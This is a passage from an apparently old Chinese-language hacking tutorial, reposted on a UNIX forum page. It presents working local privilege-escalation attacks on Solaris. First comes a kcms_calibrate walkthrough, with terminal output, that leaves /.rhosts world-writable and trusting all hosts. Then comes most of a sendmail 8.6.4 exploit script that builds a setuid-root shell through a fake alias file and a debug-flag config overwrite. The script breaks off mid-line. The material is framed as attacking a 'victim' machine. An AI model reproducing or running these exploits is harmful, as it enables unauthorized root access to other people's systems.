台上,且你的機器提供 X-Windows 服務,設你的機器域名為 hacker.home.edu，攻
擊對象的域名為 victim.com：
# xhost +victim.com
victim.com being added to access control list
(目的是為了讓在victim.con上運行的帶圖形界面的程序能把界面顯示在你的機
器上，這樣你才能控制嘛...)
第二步在對方的機器上做，要求你有普通用戶帳號(廢話！！).
# telnet victim.com
...
vic% uname -a
SunOS victim 5.5 Generic sun4d sparc SUNW,SPARCserver-1000
vic% id
uid=123(hacker) gid=10(users)
vic% ls -l
-rwx------ 1 hacker users 479 1998 7月 10 uhit.sh
vic% ls /usr/openwin/share/etc/devdata/profiles/*.mon
kcmsEKappl13.mon kcmsEKgend50.mon kcmsEKp22g22.mon kcmsEKsony20.mon
kcmsEKebu18.mon kcmsEKnokia15.mon kcmsEKsony16.mon kcmsEKvs17in.mon
kcmsEKebu22.mon kcmsEKp22g187d.mon kcmsEKsony17.mon
(samsa:其中任選一個，我們選中了``kcmsEKsony17.mon'')
vic% ./uhit.sh
Click the device you've chosen in kcms_calibrate window
Call was successful.
Click the device you've chosen in kcms_calibrate window
Call was successful.
Click the device you've chosen in kcms_calibrate window
...
這時你的屏幕上會彈出``kcms_calibrate''的界面窗口,在其中``monitors''組
框中,選中我們的設備,``kcmsEKsony17.mon'',意味著sony 17"顯示器,然點擊
下面的``calibrate''按鈕,進行配置.配置完了正常退出該程序.
讓我們看看成果!
vic% ls -l /.rhosts
-rw-rw-rw- 1 root bin 23 May 18 13:40 /.rhosts
vic% cat /.rhosts
Kp_kcms_sys.sem
+
vic%
(samsa:你還想要什呢?呵呵)
第三步在你自己的機器上:
# xhost -victim.com
victim.com being removed from access control list
(samsa:不要偷雞不成,反蝕一把米哦~)
2.3) 其他類型的漏洞：
2.3.1) 程序調試門(backdoor for debugging)
e.g.利用sendmail(8.6.4)的漏洞，讓我們先看看程序：
---------------------------- begin: sendbug.sh --------------------------
#!/bin/sh
SENDMAIL=/usr/lib/sendmail
CONFIG=/etc/mail/sendmail.cf
#CONFIG=`strings $SENDMAIL|grep sendmail.cf`
#The strings utility looks for ASCII strings in a binary file.
SHELL=/bin/ksh
CC=gcc
TEMPDIR=/tmp/sendbug-tmp.$$
mkdir $TEMPDIR
chmod 700 $TEMPDIR
cd $TEMPDIR
cp $SENDMAIL sm
chmod 700 sm
echo "creating setid0..."
cat >setid.c << __EOF__
#include
main(argc,argv)
int argc;
char *argv[];
{ int uid;
setuid(0);
if (getuid() != 0) {puts("setuid(0) failed");exit(1);}
execl(argv[1],"mysh",NULL);
}
__EOF__
$CC -o setid0 setid.c
echo "creating calc..."
cat >calc.c <<__EOF__
#include
void
gencore(){
int pid,fd[2];
if(pipe(fd)<0){ perror("pipe");exit(1);}
pid=fork();
if (!pid){
int f=open("./out",O_RDWR|O_CREAT,0666);
dup2(f,1); dup2(fd[0],0);
close(f); close(fd[0]); close(fd[1]);
execl("./sm","sm","-d0-9.90","-oQ.","-bs",0);
perror("exec");
exit(1);
}
else{
sleep(2);
kill(pid,11);
}
close(fd[0]); close(fd[1]);
}
int find(pattern,file)
char *pattern;
char *file;
{ int fd,i,addr; char c;
fd=open(file,O_RDONLY);
i=0; addr=0;
while(read(fd,&c,1)==1){
if (pattern[i]==c) i++;
else i=0;
if (pattern[i]=='\0'){
addr-=strlen(pattern);
return(addr);
}
addr++;
}
}
main(argc,argv)
int argc;
char *argv[];
{ unsigned int ConfFile,tTdvect,off;
gencore();
sync();
tTdvect=find("ZZZZZZZZ","core");
ConfFile=find(argv[1],"core");
if (!tTdvect||!ConfFile) return (1);
off=ConfFile-tTdvect;
printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
off,'/',off+1,'t',off+2,'m',off+3,'p',off+4,'/',off+5,'s',
off+6,'m',off+7,'.',off+8,'c',off+9,'f',off+10);
/* "/tmp/sm.cf" */
}
__EOF__
$CC -o calc calc.c
echo "scanning core image for $CONFIG"
DEBUGFLAGS=`./calc $CONFIG`
echo "creating alias.sh"
cat >alias.sh << __EOF__
#!/bin/sh
/bin/chmod 6777 $TEMPDIR/setid0
/bin/chown root $TEMPDIR/setid0
/bin/sync
__EOF__
chmod 755 alias.sh
echo "creating fake alias file..."
echo "yash: |$TEMPDIR/alias.sh" > aliases
echo "faking alias pointer in new config file..."
egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
cat >> /tmp/sm.cf << __EOF__
OA$TEMPDIR/aliases
Ou0
Og0
DZWHOOP-v1.0
__EOF__
echo "creating the sendmail script..."
cat > sendmail.script << __EOF__
helo
mail from:nobody
rcpt to:yash
data
yet another sendmail hole?suid whoop?
.
quit
__EOF__
echo "executing $SENDMAIL $DEBUGFLAGS -bs ..."
$SENDMAIL $DEBUGFLAGS -bs < sendmail.script
sleep 3
(sleep 5;cd /;rm -rf $TEMPDIR /tmp/sm.cf)&
if [ -u setid0 ]
then
echo "set
(http://www.fanqiang.com)
進入【UNIX論壇】
|
|
| 相關文章 |
|
===謹=== |
|
|
|
★ 樊強制作 歡迎分享 ★ |